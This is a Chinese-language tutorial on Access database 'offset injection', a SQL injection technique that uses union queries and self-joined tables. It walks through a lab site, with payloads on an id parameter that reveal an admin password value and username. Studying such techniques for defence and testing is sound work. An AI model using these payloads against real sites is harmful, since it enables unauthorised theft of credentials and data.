access偏移注入
access偏移注入
认识偏移注入
- 偏移注入的适用背景:
- access数据库与mysql不同,access数据库没有类似于mysql的information_schema这样的系统数据库,所以对于access的表名及其字段名只能靠字典进行猜解,而偏移注入就是提供了另外一种思路:
- 在只能猜解出表名,而猜解不出字段名的情况下,直接爆最后的字段数据。
- 偏移注入的原理:
- 就是将目标表进行(多级)内连接,通过联合查询和已知目标字段名的微调,将想要知道的字段值在已经确定的显示位上暴露出来,详细见#原理讲解。
- 影响偏移注入成功率的因素(当然这些因素都是影响因素,不是决定因素):
- 联合查询中显示位的位置
- 当前注入点所查询的字段数量
- 目标表的字段数量
- 可以猜解到的目标表的字段名的数量
实战测试环境
- 此次实战测试主要涉及的两张表:product表和admin表
-
product表:该表有22个字段
-
admin表:该表有6个字段(请谨记这个字段数)
-
前置知识
exists()
:用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False。as
:用于起别名,可以为表起别名,也可以为字段起别名(as关键字可省略)表1 inner join 表2 on 筛选条件
:用于将表1与表2做笛卡尔积,然后根据on后面的条件进行筛选。- 下图中select语句的意思是:将admin表与自己做笛卡尔积,然后筛选出两者id值相同的记录
- 下图中select语句的意思是:将admin表与自己做笛卡尔积,然后筛选出两者id值相同的记录
top n
:作用是使查询结果只显示前n条记录
原理讲解
偏移的原理就是通过内连接(INNER JOIN
)将表中指定的数据拼接成一个新表,然后将新表的数据通过前端显示为对应的位置显示出来。
需要添加 ON
来约束内连接的规则,若省略了ON
子句,查询可能会退化成一个CROSS JOIN
(笛卡尔积)。
如表A的内容如下:
id | name |
---|---|
1 | Alice |
2 | Bob |
通过admin as a inner join admin as b on a.id=b.id
即可拼接出视图a
假设现有前端表单查询的数据库表B有字段为 6 个字段
zd1 | zd2 | zd3 | zd4 | zd5 | zd6 |
---|---|---|---|---|---|
v1 | v2 | v3 | v4 | v5 | v6 |
通过构建查询 select 1,2,* from (admin as a inner join admin as b on a.id=b.id)
得到如下的视图b
偏移原理就是就是将视图a通过计算偏移位构建视图b,最终将视图b的内容通过表C的可被显示字段位显示出来,从而实现查询表A的目的
- 偏移注入的流程是:
- 判断是否存在注入点
- 判断当前注入点所查询的字段数量
为方便讲解
把【当前注入点对应表】称作为 【当前表】
把【当前注入点所查询的字段数量】称作为【当前字段数量】
把【将要进行联合查询的表】称为【目标表】
使用sql语句帮助理解:select 当前字段数量 from 当前表 union select ... from 目标表
在这里【当前表】->product表;【目标表】->admin表 - 猜解目标表的表名
- 确定显示位
- 确定目标表的字段数量
- 开始进行偏移注入,经过不断的“微调”,将我们想要的字段值在显示位处暴露出来。
判断是否存在注入点
判断注入点所查询的字段数(即:当前字段数量)
猜解目标表的表名
确定显示位
确定目标表的字段数量
- payload:
?id=1513 and exists(select * from admin order by 6)
- 页面返回正常,说明admin有6个字段
开始进行偏移注入
-
偏移注入的基本公式:
联合查询所要补充的字段数 = 当前字段数量 - 目标表的字段数 x N(N=1,2...)
- 在此处即为:
联合查询补充字段数 = 当前字段数量(22) - admin表的字段数(6) x N
- 当
N=1
时称为 “1级偏移注入”,当N=2
时称为 “2级偏移注入”;当N=3
时称为 “3级偏移注入”,...
-
1级偏移注入的payload:
- 根据公式可以计算出:
联合查询补充字段数 = 22-6x1 = 16
?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
- 为什么1级偏移注入并没有爆出我们想要的字段值呢,由前面的步骤已经确定的显示位只有 3,9,13,15 四个(页面只显示了3和15,通过查看页面源码可发现9和13),在进行1级偏移注入时,admin表的数据实际上"填充"在了17号字段之后了,自然不会在页面中显示出来,那想要将数据向前"填充",只能是将admin表进行多级偏移注入,使得查询视图可被显示的内容前移,实现显示需要的内容。
- 根据公式可以计算出:
假设数据如下:
id | name |
---|---|
1 | Alice |
2 | Bob |
执行这个SQL语句:
select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
查询示例:
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | id | name |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 1 | Alice |
执行这个SQL语句:
select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin
查询示例:
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | id | name |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 1 | Alice |
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 2 | Bob |
-
2级偏移注入的payload:
- 根据公式我们可以计算出:
联合查询补充字段数 = 22-6x2 = 10
?id=1513 union select 1,2,3,4,5,6,7,8,9,10, * from (admin as a inner join admin as b on a.id=b.id)
- 根据页面返回的数据,可以看到在第13号显示位,成功的爆出了 密码值:a48e190faf,但这时不能确定用户名是否对应 admin ,可以继续构建查询到更多内容。
- 根据公式我们可以计算出:
假设数据如下:
id | name |
---|---|
1 | Alice |
2 | Bob |
执行这个SQL语句:
select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
查询示例:
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | a.id | a.name | b.id | b.name |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 1 | Alice | 1 | Alice |
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 2 | Bob | 2 | Bob |
执行这个SQL语句:
select top 1 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)
查询示例:
-
微调payload:
?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,b.id, * from (admin a inner join admin b on a.id=b.id)
- 爆出了admin字段的第一个值:admin
总结与反思
- 如果我们仍然采用上述环境,那可不可以进行3级偏移和四级偏移呢?
- 答:3级偏移可以,但是4级偏移不行,因为如果进行4级偏移的话,由于不知道目标表的字段名不能实现字段数量过滤,4级构建的视图字段数超出了前端查询的当前表的字段数,导致没法将构建的视图嵌套到查询视图中。
- access偏移注入是否是真的随机?
- 通过上述原理的讲解,这个问题也就不攻自破了,显然access注入并不是随机的,而是可控的,但也不是完全可控的,在我们获取足够信息的情况下(“目标表”的字段数量,当前字段数量,已知的“目标表字段名"的数量),我们可以在一定范围内完全控制显示位处的数据显示,而之所以说是一定范围内,只是因为 “显示位的位置” 和 “我们可以猜解到的目标表字段名的数量” 这两个因素不是我们可以控制的。
- 是否可以只说:“当前表”的字段数越多成功率越大,或“目标表”的字段数越少成功率越大?
- 显然我们不能这样简单的得出结论,偏移注入是否能够成功,取决于:“显示位位置” 和 “目标字段能够移动到的位置” 是否可以重合,如果可以重合的话,即使“当前表”字段数小一点,“目标表”字段数多一点也是无妨的(但万万不可“当前表”的字段数量 < “目标表”的字段数量)
- 是什么决定着“目标表”的数据一次性前移的字段数?是什么决定着“目标表”的数据可以后移的字段数?
- 前者是由 “目标表的字段数量” 所决定的:目标表中的数据 向前移动的字段数 只能是 目标表中的字段数的整数倍(这是由表自连接的特性所决定的)。
- 后者是由 “我们可以猜解得到的目标表的字段名数量” 所决定。若猜解出1个字段名,那么我们就可以让数据向后移动1个字段数,若猜解出2个字段名,那么我们就可以让数据向后移动2个字段数,以此类推。(不过这里所需要猜解的字段名不需要必须是我们想要查找的字段名,只要是admin表中的字段名均可)
搬运参考